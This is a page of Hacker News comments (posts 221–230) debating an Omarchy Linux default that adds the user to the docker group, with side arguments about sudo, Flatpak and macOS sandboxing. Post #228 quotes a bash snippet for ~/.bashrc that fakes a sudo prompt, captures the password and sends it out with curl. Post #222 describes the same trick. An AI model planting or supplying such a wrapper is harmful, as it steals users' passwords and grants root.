Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Omarchy: Any User Process Can Escalate to Root

0xcc.io

Post reply on HN
Print view View original

221–230 of 583 posts

Re: Omarchy: Any User Process Can Escalate to Root

#221

Post by inigyou »

pibaker wrote: post #18

I was expecting a more sophisticated attack and then I scrolled down… > Omarchy configured its default user as a member of the Linux docker group. What the fuck? Docker makes it VERY, VERY clear this is unsafe. Feel free to verify the documentation. https://docs.docker.com/engine/install/linux-postinstall/ Why would you want to make this the default for your users, without even telling them? Did someone configured hi…

I didn't know that was unsafe.

Well, it's not unsafe because anyone who can exploit it has already fully compromised my PC. It rather involved being on the other side of this airtight hatchway. But I didn't know that putting an actually locked down account in the docker group was unsafe.

Re: Omarchy: Any User Process Can Escalate to Root

#222

Post by hogs_get_fat »

ludocode wrote: post #177
teekert wrote: post #157

Earlier quoted context omitted.

But, this “vulnerability” is the thing everybody knows about docker since forever. I always make my user part of the docker group, so my NixOS also has this, and any Ubuntu I’ve used over the past year. What is different here? Start a docker container with the docker socket mounted in the container and now you can have yourself mount / as rw. Everybody knows this. How is everybody so shocked here. Many instructions o…

> I always make my user part of the docker group, so my NixOS also has this, and any Ubuntu I’ve used over the past year. You may do that, but I don't. I always use sudo to manage the few docker containers I need, and I prefer podman where possible specifically because I can run it rootless. If you want to give your user passwordless root for convenience, go ahead, but that should never be the default.

> I always use sudo to manage the few docker containers I need

I'm afraid that isn't really any better. If the attacker is in position to exploit membership in the docker group, he already has access to the user's .bashrc. He can simply write a function called sudo that wraps the real command and records your password[1]. Unless the user always invokes sudo with /usr/bin/sudo, docker group membership doesn't really make a difference.

Once malware runs as an administrator, getting access to root isn't really that complicated. The boundary between wheel and root is more or less security theater.

[1] https://gist.github.com/tokyoneon/34ce1c9e1530a12eb392b1eab0...

Edit: Oh well, I see now that others have made the same point (https://news.ycombinator.com/item?id=49500588). With the same wording even. I'm half-way tempted to delete my comment so as not to look like a plagiarist, but it seems many posters are unaware of the vulnerability, so I'd leave it here.

Re: Omarchy: Any User Process Can Escalate to Root

#224

Post by stiltzkin »

Arrowmaster wrote: post #211
addajones wrote: post #187

Sad that people just complain about what DHH is doing and how he doesn't know anything. Nobody is forcing anybody to use Omarchy at all. Also $10 million was raised by him for it, did anybody else here raise that for a distro? I'm tired of the constant complaining and criticizing. Nobody said you have to use it.

I don't care what he's doing, I care about what he is.

[dead]

Re: Omarchy: Any User Process Can Escalate to Root

#226

Post by zenburnmyface »

trentnix wrote: post #190

The Docker configuration issue was reported and changes were made quickly to address it. Sounds like this is a great example of the system working well. Omarchy looks like a simple way for a developer like me to test drive hyprland and write code. It also looks like a great way for my kids to get into computers as there's an agent harness ready to help them manage their machine and use free software, even the stuff t…

Gatekeepers? Someone is pouring something into your ear.

Re: Omarchy: Any User Process Can Escalate to Root

#227

Post by dingaling »

lproven wrote: post #194
LinXitoW wrote: post #183

Earlier quoted context omitted.

On average, you can either have a discoverable GUI for noobs, or a configurable, keyboard driven system that's a giant pain to learn and configure. Omarchy aims to find a middle ground between those two.

> either have a discoverable GUI for noobs, or a configurable, keyboard driven system Absolutely wrong. Windows is both and it can be 100% keyboard driven.

Try editing key-values in Regedit using only the keyboard.

Re: Omarchy: Any User Process Can Escalate to Root

#228

Post by silver_sun »

0l wrote: post #100
lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

Indeed, and most flatpaks have access to the home directory so are also able to do this even though they're """sandboxed"""

Flatpak uses Portals to let the user grant access to different files/directories, apparently they don't have access by default: https://docs.flatpak.org/en/latest/sandbox-permissions.html

I was also unable to find any Flatpak that has access to the home directory when installed, you may well be right but I couldn't find any. I used Flatseal to verify the permissions: https://flathub.org/en/apps/com.github.tchx84.Flatseal

I'm also of the opinion that we generally shouldn't use software that we don't absolutely trust. That has kept my .bashrc (and other files) safe so far.

Re: Omarchy: Any User Process Can Escalate to Root

#230

Post by inigyou »

amluto wrote: post #166
mike_hearn wrote: post #105

Earlier quoted context omitted.

There can be exploits in any security system but the architecture is sound. There's no equivalent of TCC on Linux (I mean one that really sticks), and no easy way to create one. The sandboxing isn't bad. It's obviously weaker if you do everything in the Terminal and stay in old-school UNIX territory because it wasn't designed to sandbox developer workloads. But it's a lot better than nothing, which is what Linux offe…

> The OS does actually protect you when it asks if the terminal should be able to access ~/Documents. You can say no, and then random stuff you curl|bash can't read files in that folder unless there's an exploit. If you say no, you can’t use less or cat to read your documents. If you say yes then you are completely unprotected, forever, from anything you might run from the terminal. > It also needs pervasive kernel e…

The right right question would be: why aren't we enforcing a document to be self-contained? Why are documents agents? Why can any document access anything or indeed, do anything? That's not a document, that's a program!
Post reply on HN